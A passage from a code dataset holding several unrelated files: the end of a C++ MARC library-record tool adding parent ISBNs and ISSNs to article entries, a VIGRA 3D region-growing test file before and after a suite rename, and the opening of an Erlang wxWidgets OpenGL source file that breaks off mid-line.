MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU Affero General Public License for more details.\n\n    You should have received a copy of the GNU Affero General Public License\n    along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include <fstream>\n#include <iostream>\n#include <memory>\n#include <unordered_map>\n#include <cstdlib>\n#include <cstring>\n#include \"MARC.h\"\n#include \"MiscUtil.h\"\n#include \"StringUtil.h\"\n#include \"util.h\"\n\n\nnamespace {\n\n\n[[noreturn]] void Usage() {\n    std::cerr << \"Usage: \" << progname << \" master_marc_input marc_output\\n\";\n    std::cerr << \"  Adds host\/parent\/journal ISBNs and ISSNs to article entries found in the\\n\";\n    std::cerr << \"  master_marc_input and writes this augmented file as marc_output.  The ISBNs and ISSNs are\\n\";\n    std::cerr << \"  extracted from superior entries found in master_marc_input.\\n\";\n    std::exit(EXIT_FAILURE);\n}\n\n\nstruct RecordInfo {\n    std::string isbn_or_issn_;\n    bool is_open_access_;\n};\n\n\nvoid PopulateParentIdToISBNAndISSNMap(MARC::Reader * const marc_reader,\n                                      std::unordered_map<std::string, RecordInfo> * const parent_id_to_isbn_issn_and_open_access_status_map)\n{\n    LOG_INFO(\"Starting extraction of ISBN's and ISSN's.\");\n\n    unsigned count(0), extracted_isbn_count(0), extracted_issn_count(0);\n    std::string err_msg;\n    while (const MARC::Record record = marc_reader->read()) {\n        ++count;\n\n        if (not record.isSerial() and not record.isMonograph())\n            continue;\n\n        \/\/ Try to see if we have an ISBN:\n        const auto field_020(record.findTag(\"020\"));\n        if (field_020 != record.end()) {\n            const std::string isbn(field_020->getFirstSubfieldWithCode('a'));\n            if (not isbn.empty()) {\n                (*parent_id_to_isbn_issn_and_open_access_status_map)[record.getControlNumber()] = { isbn, MARC::IsOpenAccess(record) };\n                ++extracted_isbn_count;\n                continue;\n            }\n        } else\n            continue;\n\n        std::string issn;\n        \/\/ 1. First try to get an ISSN from 029$a, (according to the BSZ's PICA-to-MARC mapping\n        \/\/ documentation this contains the \"authorised\" ISSN) but only if the indicators are correct:\n        for (const auto &_029_field : record.getTagRange(\"029\")) {\n            const auto subfields(_029_field.getSubfields());\n\n            \/\/ We only want fields with indicators 'x' and 'a':\n            if (_029_field.getIndicator1() != 'x' or _029_field.getIndicator2() != 'a')\n                continue;\n\n            issn = subfields.getFirstSubfieldWithCode('a');\n            if (not issn.empty()) {\n                (*parent_id_to_isbn_issn_and_open_access_status_map)[record.getControlNumber()] = { issn, MARC::IsOpenAccess(record) };\n                ++extracted_issn_count;\n            }\n        }\n\n        \/\/ 2. If we don't already have an ISSN check 022$a as a last resort:\n        if (issn.empty()) {\n            const auto field_022(record.findTag(\"022\"));\n            if (field_022 != record.end()) {\n                issn = field_022->getFirstSubfieldWithCode('a');\n                if (not issn.empty()) {\n                    (*parent_id_to_isbn_issn_and_open_access_status_map)[record.getControlNumber()] = { issn, MARC::IsOpenAccess(record) };\n                    ++extracted_issn_count;\n                }\n            }\n        }\n    }\n\n    if (not err_msg.empty())\n        LOG_ERROR(err_msg);\n\n    LOG_INFO(\"Read \" + std::to_string(count) + \" records.\");\n    LOG_INFO(\"Extracted \" + std::to_string(extracted_isbn_count) + \" ISBNs.\");\n    LOG_INFO(\"Extracted \" + std::to_string(extracted_issn_count) + \" ISSNs.\");\n}\n\n\nvoid AddMissingISBNsOrISSNsToArticleEntries(\n    MARC::Reader * const marc_reader, MARC::Writer * const marc_writer,\n    const std::unordered_map<std::string, RecordInfo> &parent_id_to_isbn_issn_and_open_access_status_map)\n{\n    LOG_INFO(\"Starting augmentation of article entries.\");\n\n    unsigned count(0), isbns_added(0), issns_added(0), missing_host_record_ctrl_num_count(0), missing_isbn_or_issn_count(0);\n    while (MARC::Record record = marc_reader->read()) {\n        ++count;\n\n        if (not record.isArticle()) {\n            marc_writer->write(record);\n            continue;\n        }\n\n        const auto _773_field(record.findTag(\"773\"));\n        if (_773_field == record.end()) {\n            marc_writer->write(record);\n            continue;\n        }\n\n        auto subfields(_773_field->getSubfields());\n        if (subfields.hasSubfield('x')) {\n            marc_writer->write(record);\n            continue;\n        }\n\n        if (not subfields.hasSubfield('w')) {       \/\/ Record control number of Host Item Entry.\n            marc_writer->write(record);\n            ++missing_host_record_ctrl_num_count;\n            continue;\n        }\n\n        std::string host_id(subfields.getFirstSubfieldWithCode('w'));\n        if (StringUtil::StartsWith(host_id, \"(DE-576)\"))\n            host_id = host_id.substr(8);\n        const auto &parent_isbn_or_issn_iter(parent_id_to_isbn_issn_and_open_access_status_map.find(host_id));\n        if (parent_isbn_or_issn_iter == parent_id_to_isbn_issn_and_open_access_status_map.end()) {\n            marc_writer->write(record);\n            ++missing_isbn_or_issn_count;\n            continue;\n        }\n\n        if (MiscUtil::IsPossibleISSN(parent_isbn_or_issn_iter->second.isbn_or_issn_)) {\n            subfields.addSubfield('x', parent_isbn_or_issn_iter->second.isbn_or_issn_);\n            _773_field->setSubfields(subfields);\n            ++issns_added;\n        } else { \/\/ Deal with ISBNs.\n            auto _020_field(record.findTag(\"020\"));\n            if (_020_field == record.end()) {\n                record.insertField(\"020\", { { 'a', parent_isbn_or_issn_iter->second.isbn_or_issn_ } });\n                ++isbns_added;\n            } else if (_020_field->getFirstSubfieldWithCode('a').empty()) {\n                _020_field->appendSubfield('a', parent_isbn_or_issn_iter->second.isbn_or_issn_);\n                ++isbns_added;\n            }\n        }\n\n        \/\/ If parent is open access and we're not, add it!\n        if (parent_isbn_or_issn_iter->second.is_open_access_ and not MARC::IsOpenAccess(record))\n            record.insertField(\"655\", { { 'a', \"Open Access\" } }, \/* indicator1 = *\/' ', \/* indicator2 = *\/'4');\n\n        marc_writer->write(record);\n    }\n\n    LOG_INFO(\"Read \" + std::to_string(count) + \" records.\");\n    LOG_INFO(\"Added ISBN's to \" + std::to_string(isbns_added) + \" article record(s).\");\n    LOG_INFO(\"Added ISSN's to \" + std::to_string(issns_added) + \" article record(s).\");\n    LOG_INFO(std::to_string(missing_host_record_ctrl_num_count) +\n             \" articles had missing host record control number(s).\");\n    LOG_INFO(\"For \" + std::to_string(missing_isbn_or_issn_count) + \" articles no host ISBN nor ISSN was found.\");\n}\n\n\n} \/\/ unnamed namespace\n\n\nint Main(int argc, char **argv) {\n    if (argc < 3)\n        Usage();\n\n    const std::string marc_input_filename(argv[1]);\n    const std::string marc_output_filename(argv[2]);\n    if (unlikely(marc_input_filename == marc_output_filename))\n        LOG_ERROR(\"Master input file name equals output file name!\");\n\n    auto marc_reader(MARC::Reader::Factory(marc_input_filename));\n    auto marc_writer(MARC::Writer::Factory(marc_output_filename));\n\n    std::unordered_map<std::string, RecordInfo> parent_id_to_isbn_issn_and_open_access_status_map;\n    PopulateParentIdToISBNAndISSNMap(marc_reader.get(), &parent_id_to_isbn_issn_and_open_access_status_map);\n    marc_reader->rewind();\n\n    AddMissingISBNsOrISSNsToArticleEntries(marc_reader.get(), marc_writer.get(), parent_id_to_isbn_issn_and_open_access_status_map);\n\n    return EXIT_SUCCESS;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/************************************************************************\/\n\/*                                                                      *\/\n\/*       Copyright 2007 by F. Heinrich, B. Seppke, Ullrich Koethe       *\/\n\/*       Cognitive Systems Group, University of Hamburg, Germany        *\/\n\/*                                                                      *\/\n\/*    This file is part of the VIGRA computer vision library.           *\/\n\/*    The VIGRA Website is                                              *\/\n\/*        http:\/\/kogs-www.informatik.uni-hamburg.de\/~koethe\/vigra\/      *\/\n\/*    Please direct questions, bug reports, and contributions to        *\/\n\/*        ullrich.koethe@iwr.uni-heidelberg.de    or                    *\/\n\/*        vigra@informatik.uni-hamburg.de                               *\/\n\/*                                                                      *\/\n\/*    Permission is hereby granted, free of charge, to any person       *\/\n\/*    obtaining a copy of this software and associated documentation    *\/\n\/*    files (the \"Software\"), to deal in the Software without           *\/\n\/*    restriction, including without limitation the rights to use,      *\/\n\/*    copy, modify, merge, publish, distribute, sublicense, and\/or      *\/\n\/*    sell copies of the Software, and to permit persons to whom the    *\/\n\/*    Software is furnished to do so, subject to the following          *\/\n\/*    conditions:                                                       *\/\n\/*                                                                      *\/\n\/*    The above copyright notice and this permission notice shall be    *\/\n\/*    included in all copies or substantial portions of the             *\/\n\/*    Software.                                                         *\/\n\/*                                                                      *\/\n\/*    THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND    *\/\n\/*    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES   *\/\n\/*    OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND          *\/\n\/*    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT       *\/\n\/*    HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,      *\/\n\/*    WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING      *\/\n\/*    FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR     *\/\n\/*    OTHER DEALINGS IN THE SOFTWARE.                                   *\/                \n\/*                                                                      *\/\n\/************************************************************************\/\n\n#include <iostream>\n#include <functional>\n#include <cmath>\n#include \"unittest.hxx\"\n\n#include \"vigra\/seededregiongrowing3d.hxx\"\n\nusing namespace vigra;\n\nstruct SeededRegionGrowing3DTest\n{\n    typedef vigra::MultiArray<3,int> IntVolume;\n    typedef vigra::MultiArray<3,double> DoubleVolume;\n\n    SeededRegionGrowing3DTest()\n    : vol1(IntVolume::difference_type(5,5,5)),distvol1(DoubleVolume::difference_type(5,5,5)),distvol2(DoubleVolume::difference_type(4,4,4)),vol2(DoubleVolume::difference_type(4,4,4)),vol3(IntVolume::difference_type(5,5,5))\n    {                        \n        static const int in1[] = { 0, 0, 0, 0, 0, \n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 1, 0, 0,  \n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 0, 0, 0,\n\n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 0, 0, 0,\n\n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 0, 0, 0,\n\n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 0, 0, 0,\n\n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 2, 0, 0,  \n                                   0, 0, 0, 0, 0,   \n                                   0, 0, 0, 0, 0};\n\n        IntVolume::iterator i = vol1.begin();\n        IntVolume::iterator end = vol1.end();\n        const int * p = in1;\n\n        for(; i != end; ++i, ++p)\n        {\n            *i=*p;\n        }\n\n        for(int z=0; z<5; ++z)\n            for(int y=0; y<5; ++y)\n                for(int x=0; x<5; ++x){\n                    distvol1(x,y,z)=std::min( ((x-2.0)*(x-2.0)+(y-2.0)*(y-2.0)+(z-0.0)*(z-0.0)), \n                                              ((x-2.0)*(x-2.0)+(y-2.0)*(y-2.0)+(z-4.0)*(z-4.0)) );\n                }\n\n        static const double in2[] = { 0.0, 0.0, 0.0, 0.0, \n                                      0.0, 1.0, 0.0, 0.0, \n                                      0.0, 0.0, 0.0, 0.0,  \n                                      0.0, 0.0, 0.0, 0.0,\n\n                                      0.0, 0.0, 0.0, 0.0,  \n                                      0.0, 0.0, 0.0, 0.0,  \n                                      0.0, 0.0, 0.0, 0.0,  \n                                      0.0, 0.0, 0.0, 0.0,\n\n                                      0.0, 0.0, 0.0, 0.0,  \n                                      0.0, 0.0, 0.0, 0.0,  \n                                      0.0, 0.0, 0.0, 0.0,  \n                                      0.0, 0.0, 0.0, 0.0,\n\n                                      0.0, 0.0, 0.0, 0.0, \n                                      0.0, 0.0, 0.0, 0.0, \n                                      0.0, 0.0, 2.0, 0.0,  \n                                      0.0, 0.0, 0.0, 0.0};\n\n        DoubleVolume::iterator id = vol2.begin();\n        DoubleVolume::iterator endd = vol2.end();\n        const double * pd = in2;\n\n        for(; id != endd; ++id, ++pd)\n        {\n            *id=*pd;\n        }\n\n        for(int z=0; z<4; ++z)\n            for(int y=0; y<4; ++y)\n                for(int x=0; x<4; ++x){\n                    distvol2(x,y,z)=std::min( ((x-1.0)*(x-1.0)+(y-1.0)*(y-1.0)+(z-0.0)*(z-0.0)), \n                                              ((x-2.0)*(x-2.0)+(y-2.0)*(y-2.0)+(z-3.0)*(z-3.0)) );\n                }\n\n        static const int in3[] = { 1, 1, 1, 1, 1, \n                                   1, 1, 1, 1, 1,  \n                                   1, 1, 1, 1, 1,  \n                                   1, 1, 1, 1, 1,  \n                                   1, 1, 1, 1, 1,\n\n                                   1, 1, 1, 1, 1,  \n                                   1, 2, 2, 2, 1,  \n                                   1, 2, 2, 2, 1,  \n                                   1, 2, 2, 2, 1,  \n                                   1, 1, 1, 1, 1,\n\n                                   1, 1, 1, 1, 1,  \n                                   1, 2, 2, 2, 1,  \n                                   1, 2, 3, 2, 1,  \n                                   1, 2, 2, 2, 1,  \n                                   1, 1, 1, 1, 1,\n\n                                   1, 1, 1, 1, 1,  \n                                   1, 2, 2, 2, 1,  \n                                   1, 2, 2, 2, 1,  \n                                   1, 2, 2, 2, 1,  \n                                   1, 1, 1, 1, 1,\n\n                                   4, 4, 4, 4, 4,  \n                                   4, 4, 4, 4, 4,  \n                                   4, 4, 4, 4, 4,  \n                                   4, 4, 4, 4, 4,   \n                                   4, 4, 4, 4, 4};\n\n        i = vol3.begin();\n        end = vol3.end();\n        p = in3;\n\n        for(; i != end; ++i, ++p)\n        {\n            *i=*p;\n        }\n\n    }\n\n    struct DirectCostFunctor\n    {\n        typedef double argument_type;\n        typedef double result_type;\n        typedef double cost_type;\n\n        void operator()(double const &) {}\n\n        double const & cost(double const & v) const\n        {\n            return v;\n        }\n    };\n\n    void voronoiTest()\n    {\n        DoubleVolume res(vol2);\n\n        vigra::ArrayOfRegionStatistics<DirectCostFunctor> cost(2);\n        seededRegionGrowing3D(srcMultiArrayRange(distvol2), srcMultiArray(vol2),\n                              destMultiArray(res), cost, CompleteGrow);\n\n        DoubleVolume::iterator i = res.begin();\n\n        int x,y,z;\n\n        for(z=0; z<4; ++z)\n        {\n            for(y=0; y<4; ++y)\n            {\n                for(x=0; x<4; ++x)\n                {\n                    double dist = *i++;\n                    double dist1 = VIGRA_CSTD::sqrt((1.0 - x)*(1.0 - x) +\n                                                    (1.0 - y)*(1.0 - y) +\n                                                    (0.0 - z)*(0.0 - z)  );\n                                                    \n                    double dist2 = VIGRA_CSTD::sqrt((2.0 - x)*(2.0 - x) +\n                                                    (2.0 - y)*(2.0 - y) +\n                                                    (3.0 - z)*(3.0 - z)  );\n                                                    \n                    double desired = (dist1 <= dist2) ? 1 : 2;\n\n                    if(VIGRA_CSTD::fabs(dist1 - dist2) > 1e-10)\n                        shouldEqual(dist, desired);\n                }\n            }\n        }\n    }\n\n    void voronoiTestWithBorder()\n    {\n\n        static const int desired[] = {  1, 1, 1, 1, 1, \n                                        1, 1, 1, 1, 1,  \n                                        1, 1, 1, 1, 1,  \n                                        1, 1, 1, 1, 1,  \n                                        1, 1, 1, 1, 1,\n\n                                        1, 1, 1, 1, 1,  \n                                        1, 1, 1, 1, 1,  \n                                        1, 1, 1, 1, 1,  \n                                        1, 1, 1, 1, 1,  \n                                        1, 1, 1, 1, 1,\n\n                                        0, 0, 0, 0, 0,  \n                                        0, 0, 0, 0, 0,  \n                                        0, 0, 0, 0, 0,  \n                                        0, 0, 0, 0, 0,  \n                                        0, 0, 0, 0, 0,\n\n                                        2, 2, 2, 2, 2,  \n                                        2, 2, 2, 2, 2,  \n                                        2, 2, 2, 2, 2,  \n                                        2, 2, 2, 2, 2,  \n                                        2, 2, 2, 2, 2,\n\n                                        2, 2, 2, 2, 2,  \n                                        2, 2, 2, 2, 2,  \n                                        2, 2, 2, 2, 2,  \n                                        2, 2, 2, 2, 2,   \n                                        2, 2, 2, 2, 2};\n\n        IntVolume res(vol1);\n\n        vigra::ArrayOfRegionStatistics<DirectCostFunctor> cost(2);\n        seededRegionGrowing3D(srcMultiArrayRange(distvol1), srcMultiArray(vol1),\n                              destMultiArray(res), cost, KeepContours);\n\n        \/\/int c=1;\n        \/\/for(IntVolume::iterator iter=res.begin(); iter!=res.end(); ++iter, ++c){\n        \/\/    std::cerr << *iter << \", \";\n        \/\/    if(c%5==0) std::cerr << std::endl;\n        \/\/    if(c%25==0) std::cerr << std::endl;\n        \/\/}\n\n        shouldEqualSequence(res.begin(), res.end(), desired);\n\n    }\n\n    void simpleTest()\n    {\n        IntVolume res(vol3);\n\n        vigra::ArrayOfRegionStatistics<DirectCostFunctor> cost(4);\n        seededRegionGrowing3D(srcMultiArrayRange(vol3), srcMultiArray(vol3),\n                              destMultiArray(res), cost, CompleteGrow);\n\n        shouldEqualSequence(res.begin(), res.end(), vol3.begin());\n    }\n    \n    IntVolume vol1, vol3;\n    DoubleVolume vol2, distvol1, distvol2;\n};\n\n\n\nstruct SimpleAnalysisTestSuite\n: public vigra::test_suite\n{\n    SimpleAnalysisTestSuite()\n    : vigra::test_suite(\"SimpleAnalysisTestSuite\")\n    {\n        add( testCase( &SeededRegionGrowing3DTest::voronoiTest));\n        add( testCase( &SeededRegionGrowing3DTest::voronoiTestWithBorder));\n        add( testCase( &SeededRegionGrowing3DTest::simpleTest));\n    }\n};\n\nint main(int argc, char ** argv)\n{\n    SimpleAnalysisTestSuite test;\n\n    int failed = test.run(vigra::testsToBeExecuted(argc, argv));\n\n    std::cout << test.report() << std::endl;\n    return (failed != 0);\n}\n\n<commit_msg>fixed test suite name SeededRegionGrowing3DTestSuite<commit_after>\/************************************************************************\/\n\/*                                                                      *\/\n\/*       Copyright 2007 by F. Heinrich, B. Seppke, Ullrich Koethe       *\/\n\/*       Cognitive Systems Group, University of Hamburg, Germany        *\/\n\/*                                                                      *\/\n\/*    This file is part of the VIGRA computer vision library.           *\/\n\/*    The VIGRA Website is                                              *\/\n\/*        http:\/\/kogs-www.informatik.uni-hamburg.de\/~koethe\/vigra\/      *\/\n\/*    Please direct questions, bug reports, and contributions to        *\/\n\/*        ullrich.koethe@iwr.uni-heidelberg.de    or                    *\/\n\/*        vigra@informatik.uni-hamburg.de                               *\/\n\/*                                                                      *\/\n\/*    Permission is hereby granted, free of charge, to any person       *\/\n\/*    obtaining a copy of this software and associated documentation    *\/\n\/*    files (the \"Software\"), to deal in the Software without           *\/\n\/*    restriction, including without limitation the rights to use,      *\/\n\/*    copy, modify, merge, publish, distribute, sublicense, and\/or      *\/\n\/*    sell copies of the Software, and to permit persons to whom the    *\/\n\/*    Software is furnished to do so, subject to the following          *\/\n\/*    conditions:                                                       *\/\n\/*                                                                      *\/\n\/*    The above copyright notice and this permission notice shall be    *\/\n\/*    included in all copies or substantial portions of the             *\/\n\/*    Software.                                                         *\/\n\/*                                                                      *\/\n\/*    THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND    *\/\n\/*    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES   *\/\n\/*    OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND          *\/\n\/*    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT       *\/\n\/*    HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,      *\/\n\/*    WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING      *\/\n\/*    FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR     *\/\n\/*    OTHER DEALINGS IN THE SOFTWARE.                                   *\/                \n\/*                                                                      *\/\n\/************************************************************************\/\n\n#include <iostream>\n#include <functional>\n#include <cmath>\n#include \"unittest.hxx\"\n\n#include \"vigra\/seededregiongrowing3d.hxx\"\n\nusing namespace vigra;\n\nstruct SeededRegionGrowing3DTest\n{\n    typedef vigra::MultiArray<3,int> IntVolume;\n    typedef vigra::MultiArray<3,double> DoubleVolume;\n\n    SeededRegionGrowing3DTest()\n    : vol1(IntVolume::difference_type(5,5,5)),distvol1(DoubleVolume::difference_type(5,5,5)),distvol2(DoubleVolume::difference_type(4,4,4)),vol2(DoubleVolume::difference_type(4,4,4)),vol3(IntVolume::difference_type(5,5,5))\n    {                        \n        static const int in1[] = { 0, 0, 0, 0, 0, \n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 1, 0, 0,  \n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 0, 0, 0,\n\n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 0, 0, 0,\n\n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 0, 0, 0,\n\n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 0, 0, 0,\n\n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 0, 0, 0,  \n                                   0, 0, 2, 0, 0,  \n                                   0, 0, 0, 0, 0,   \n                                   0, 0, 0, 0, 0};\n\n        IntVolume::iterator i = vol1.begin();\n        IntVolume::iterator end = vol1.end();\n        const int * p = in1;\n\n        for(; i != end; ++i, ++p)\n        {\n            *i=*p;\n        }\n\n        for(int z=0; z<5; ++z)\n            for(int y=0; y<5; ++y)\n                for(int x=0; x<5; ++x){\n                    distvol1(x,y,z)=std::min( ((x-2.0)*(x-2.0)+(y-2.0)*(y-2.0)+(z-0.0)*(z-0.0)), \n                                              ((x-2.0)*(x-2.0)+(y-2.0)*(y-2.0)+(z-4.0)*(z-4.0)) );\n                }\n\n        static const double in2[] = { 0.0, 0.0, 0.0, 0.0, \n                                      0.0, 1.0, 0.0, 0.0, \n                                      0.0, 0.0, 0.0, 0.0,  \n                                      0.0, 0.0, 0.0, 0.0,\n\n                                      0.0, 0.0, 0.0, 0.0,  \n                                      0.0, 0.0, 0.0, 0.0,  \n                                      0.0, 0.0, 0.0, 0.0,  \n                                      0.0, 0.0, 0.0, 0.0,\n\n                                      0.0, 0.0, 0.0, 0.0,  \n                                      0.0, 0.0, 0.0, 0.0,  \n                                      0.0, 0.0, 0.0, 0.0,  \n                                      0.0, 0.0, 0.0, 0.0,\n\n                                      0.0, 0.0, 0.0, 0.0, \n                                      0.0, 0.0, 0.0, 0.0, \n                                      0.0, 0.0, 2.0, 0.0,  \n                                      0.0, 0.0, 0.0, 0.0};\n\n        DoubleVolume::iterator id = vol2.begin();\n        DoubleVolume::iterator endd = vol2.end();\n        const double * pd = in2;\n\n        for(; id != endd; ++id, ++pd)\n        {\n            *id=*pd;\n        }\n\n        for(int z=0; z<4; ++z)\n            for(int y=0; y<4; ++y)\n                for(int x=0; x<4; ++x){\n                    distvol2(x,y,z)=std::min( ((x-1.0)*(x-1.0)+(y-1.0)*(y-1.0)+(z-0.0)*(z-0.0)), \n                                              ((x-2.0)*(x-2.0)+(y-2.0)*(y-2.0)+(z-3.0)*(z-3.0)) );\n                }\n\n        static const int in3[] = { 1, 1, 1, 1, 1, \n                                   1, 1, 1, 1, 1,  \n                                   1, 1, 1, 1, 1,  \n                                   1, 1, 1, 1, 1,  \n                                   1, 1, 1, 1, 1,\n\n                                   1, 1, 1, 1, 1,  \n                                   1, 2, 2, 2, 1,  \n                                   1, 2, 2, 2, 1,  \n                                   1, 2, 2, 2, 1,  \n                                   1, 1, 1, 1, 1,\n\n                                   1, 1, 1, 1, 1,  \n                                   1, 2, 2, 2, 1,  \n                                   1, 2, 3, 2, 1,  \n                                   1, 2, 2, 2, 1,  \n                                   1, 1, 1, 1, 1,\n\n                                   1, 1, 1, 1, 1,  \n                                   1, 2, 2, 2, 1,  \n                                   1, 2, 2, 2, 1,  \n                                   1, 2, 2, 2, 1,  \n                                   1, 1, 1, 1, 1,\n\n                                   4, 4, 4, 4, 4,  \n                                   4, 4, 4, 4, 4,  \n                                   4, 4, 4, 4, 4,  \n                                   4, 4, 4, 4, 4,   \n                                   4, 4, 4, 4, 4};\n\n        i = vol3.begin();\n        end = vol3.end();\n        p = in3;\n\n        for(; i != end; ++i, ++p)\n        {\n            *i=*p;\n        }\n\n    }\n\n    struct DirectCostFunctor\n    {\n        typedef double argument_type;\n        typedef double result_type;\n        typedef double cost_type;\n\n        void operator()(double const &) {}\n\n        double const & cost(double const & v) const\n        {\n            return v;\n        }\n    };\n\n    void voronoiTest()\n    {\n        DoubleVolume res(vol2);\n\n        vigra::ArrayOfRegionStatistics<DirectCostFunctor> cost(2);\n        seededRegionGrowing3D(srcMultiArrayRange(distvol2), srcMultiArray(vol2),\n                              destMultiArray(res), cost, CompleteGrow);\n\n        DoubleVolume::iterator i = res.begin();\n\n        int x,y,z;\n\n        for(z=0; z<4; ++z)\n        {\n            for(y=0; y<4; ++y)\n            {\n                for(x=0; x<4; ++x)\n                {\n                    double dist = *i++;\n                    double dist1 = VIGRA_CSTD::sqrt((1.0 - x)*(1.0 - x) +\n                                                    (1.0 - y)*(1.0 - y) +\n                                                    (0.0 - z)*(0.0 - z)  );\n                                                    \n                    double dist2 = VIGRA_CSTD::sqrt((2.0 - x)*(2.0 - x) +\n                                                    (2.0 - y)*(2.0 - y) +\n                                                    (3.0 - z)*(3.0 - z)  );\n                                                    \n                    double desired = (dist1 <= dist2) ? 1 : 2;\n\n                    if(VIGRA_CSTD::fabs(dist1 - dist2) > 1e-10)\n                        shouldEqual(dist, desired);\n                }\n            }\n        }\n    }\n\n    void voronoiTestWithBorder()\n    {\n\n        static const int desired[] = {  1, 1, 1, 1, 1, \n                                        1, 1, 1, 1, 1,  \n                                        1, 1, 1, 1, 1,  \n                                        1, 1, 1, 1, 1,  \n                                        1, 1, 1, 1, 1,\n\n                                        1, 1, 1, 1, 1,  \n                                        1, 1, 1, 1, 1,  \n                                        1, 1, 1, 1, 1,  \n                                        1, 1, 1, 1, 1,  \n                                        1, 1, 1, 1, 1,\n\n                                        0, 0, 0, 0, 0,  \n                                        0, 0, 0, 0, 0,  \n                                        0, 0, 0, 0, 0,  \n                                        0, 0, 0, 0, 0,  \n                                        0, 0, 0, 0, 0,\n\n                                        2, 2, 2, 2, 2,  \n                                        2, 2, 2, 2, 2,  \n                                        2, 2, 2, 2, 2,  \n                                        2, 2, 2, 2, 2,  \n                                        2, 2, 2, 2, 2,\n\n                                        2, 2, 2, 2, 2,  \n                                        2, 2, 2, 2, 2,  \n                                        2, 2, 2, 2, 2,  \n                                        2, 2, 2, 2, 2,   \n                                        2, 2, 2, 2, 2};\n\n        IntVolume res(vol1);\n\n        vigra::ArrayOfRegionStatistics<DirectCostFunctor> cost(2);\n        seededRegionGrowing3D(srcMultiArrayRange(distvol1), srcMultiArray(vol1),\n                              destMultiArray(res), cost, KeepContours);\n\n        \/\/int c=1;\n        \/\/for(IntVolume::iterator iter=res.begin(); iter!=res.end(); ++iter, ++c){\n        \/\/    std::cerr << *iter << \", \";\n        \/\/    if(c%5==0) std::cerr << std::endl;\n        \/\/    if(c%25==0) std::cerr << std::endl;\n        \/\/}\n\n        shouldEqualSequence(res.begin(), res.end(), desired);\n\n    }\n\n    void simpleTest()\n    {\n        IntVolume res(vol3);\n\n        vigra::ArrayOfRegionStatistics<DirectCostFunctor> cost(4);\n        seededRegionGrowing3D(srcMultiArrayRange(vol3), srcMultiArray(vol3),\n                              destMultiArray(res), cost, CompleteGrow);\n\n        shouldEqualSequence(res.begin(), res.end(), vol3.begin());\n    }\n    \n    IntVolume vol1, vol3;\n    DoubleVolume vol2, distvol1, distvol2;\n};\n\n\n\nstruct SeededRegionGrowing3DTestSuite\n: public vigra::test_suite\n{\n    SeededRegionGrowing3DTestSuite()\n    : vigra::test_suite(\"SeededRegionGrowing3DTestSuite\")\n    {\n        add( testCase( &SeededRegionGrowing3DTest::voronoiTest));\n        add( testCase( &SeededRegionGrowing3DTest::voronoiTestWithBorder));\n        add( testCase( &SeededRegionGrowing3DTest::simpleTest));\n    }\n};\n\nint main(int argc, char ** argv)\n{\n    SeededRegionGrowing3DTestSuite test;\n\n    int failed = test.run(vigra::testsToBeExecuted(argc, argv));\n\n    std::cout << test.report() << std::endl;\n    return (failed != 0);\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * %CopyrightBegin%\n *\n * Copyright Ericsson AB 2008-2014. All Rights Reserved.\n *\n * The contents of this file are subject to the Erlang Public License,\n * Version 1.1, (the \"License\"); you may not use this file except in\n * compliance with the License. You should have received a copy of the\n * Erlang Public License along with this software. If not, it can be\n * retrieved online at http:\/\/www.erlang.org\/.\n *\n * Software distributed under the License is distributed on an \"AS IS\"\n * basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See\n * the License for the specific language governing rights and limitations\n * under the License.\n *\n * %CopyrightEnd%\n *\/\n\n#include <stdio.h>\n#include <string.h>\n#ifndef _WIN32\n#include <dlfcn.h>\n#else\n#include <windows.h>\n#endif\n#include \"wxe_impl.h\"\n#include \"wxe_return.h\"\n#include \"wxe_gl.h\"\n\n\/* ****************************************************************************\n * Opengl context management *\n * ****************************************************************************\/\n\nint erl_gl_initiated = FALSE;\nErlDrvTermData gl_active = 0;\nwxeGLC glc;\n\ntypedef void (*WXE_GL_DISPATCH) (int, char *, ErlDrvPort, 